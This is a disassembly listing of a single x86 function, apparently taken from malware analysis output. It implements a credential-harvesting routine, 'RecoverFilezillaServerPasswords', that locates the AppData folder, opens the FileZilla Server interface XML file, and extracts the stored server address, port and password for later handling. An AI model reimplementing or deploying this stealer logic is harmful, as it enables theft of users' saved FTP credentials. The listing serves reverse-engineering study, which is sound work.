Function at 0x42a08e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x65b8
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x40b]
push esi
push edi
mov esi, 0x3e7
mov byte [ebp - 0x40c], 0
push esi
push 0
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0x7f3]
mov byte [ebp - 0x7f4], 0
push 0
push eax
call fcn.00626f50
push 7
pop ecx
mov esi, str.FileZilla_Server_Interface.xml
lea edi, [ebp - 0x24]
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.00631510
add esp, 0x1c
cmp eax, 1
jae 0x42a132
lea eax, [ebp - 0x7f4]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x42a125
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.RecoverFilezillaServerPasswords
push str._s_Failed_to_find_appdata_folder__Error0x_.8x
jmp 0x42a1a4
mov eax, str._sFileZilla_Server_s
lea ebx, [ebp - 0x7f4]
jmp 0x42a137
mov eax, 0x66c218
lea ecx, [ebp - 0x24]
mov edi, 0x3e8
push ecx
push ebx
push eax
lea eax, [ebp - 0x40c]
push edi
push eax
call fcn.00445d6d
lea eax, [ebp - 0x40c]
push eax
push str._n_Final_filezilla_interface_file_is____s
call fcn.00449974
push 0x66ca20
lea eax, [ebp - 0x40c]
xor ebx, ebx
push eax
lea eax, [ebp - 0x65b8]
mov dword [ebp - 0x65b8], ebx
push eax
call fcn.00632119
add esp, 0x28
test eax, eax
jne 0x42a193
cmp dword [ebp - 0x65b8], ebx
jne 0x42a349
lea eax, [ebp - 0x40c]
push eax
push str.RecoverFilezillaServerPasswords
push str._s_Failed_to_open_FileZilla_interface_file__s
call fcn.00449974
add esp, 0xc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret
lea eax, [ebp - 0x65b4]
push eax
call fcn.00631510
pop ecx
test eax, eax
je 0x42a1ee
lea eax, [ebp - 0x65b4]
push eax
call fcn.00631510
dec eax
pop ecx
cmp eax, 0x2710
jae 0x42a3fc
mov byte [ebp + eax - 0x65b4], bl
lea eax, [ebp - 0x65b4]
push eax
lea eax, [ebp - 0x3ea4]
push 0x2710
push eax
call fcn.006311ec
lea eax, [ebp - 0x3ea4]
push eax
call fcn.00631510
inc eax
push eax
lea eax, [ebp - 0x3ea4]
push eax
call fcn.00631711
lea eax, [ebp - 0x3ea4]
push str.last_server_address
push eax
call fcn.00627320
add esp, 0x20
test eax, eax
je 0x42a284
lea eax, [ebp - 0x65b4]
push 0x3e
push eax
call fcn.006270b0
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42a349
lea eax, [ebp - 0x3ea4]
inc esi
push str.__item_
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
je 0x42a279
lea ecx, [ebp - 0x3ea4]
sub eax, ecx
mov byte [ebp + eax - 0x65b4], bl
lea eax, [ebp - 0x13ac]
jmp 0x42a33e
lea eax, [ebp - 0x3ea4]
push str.last_server_port
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
je 0x42a2e4
lea eax, [ebp - 0x65b4]
push 0x3e
push eax
call fcn.006270b0
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42a349
lea eax, [ebp - 0x3ea4]
inc esi
push str.__item_
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
je 0x42a2dc
lea ecx, [ebp - 0x3ea4]
sub eax, ecx
mov byte [ebp + eax - 0x65b4], bl
lea eax, [ebp - 0xfc4]
jmp 0x42a33e
lea eax, [ebp - 0x3ea4]
push str.last_server_password
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
je 0x42a349
lea eax, [ebp - 0x65b4]
push 0x3e
push eax
call fcn.006270b0
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42a349
lea eax, [ebp - 0x3ea4]
inc esi
push str.__item_
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
je 0x42a338
lea ecx, [ebp - 0x3ea4]
sub eax, ecx
mov byte [ebp + eax - 0x65b4], bl
lea eax, [ebp - 0xbdc]
push esi
push edi
push eax
call fcn.006311ec
add esp, 0xc
push dword [ebp - 0x65b8]
lea eax, [ebp - 0x65b4]
push 0x2710
push eax
call fcn.00631f4f
add esp, 0xc
test eax, eax
jne 0x42a1bd
push dword [ebp - 0x65b8]
call fcn.00637603
lea eax, [ebp - 0xbdc]
push eax
lea eax, [ebp - 0xfc4]
push eax
lea eax, [ebp - 0x13ac]
push eax
push str.RecoverFilezillaServerPasswords
push str._s___Found_Filezilla_server_s__port_s__pass_s
call fcn.00449974
lea eax, [ebp - 0xbdc]
push eax
call fcn.00631510
add esp, 0x1c
test eax, eax
je 0x42a3f4
lea eax, [ebp - 0xfc4]
push eax
lea eax, [ebp - 0x13ac]
push eax
push str._s:_s
lea eax, [ebp - 0x1794]
push edi
push eax
call fcn.00445d6d
push 0xffffffffffffffff
mov edx, 0x66ae5d
lea eax, [ebp - 0xbdc]
push edx
push eax
push edx
lea ecx, [ebp - 0x1794]
push ecx
push edx
push 0x149
push 4
call fcn.00412c85
add esp, 0x34
xor eax, eax
inc eax
jmp 0x42a1ae
call fcn.005fe87a
int3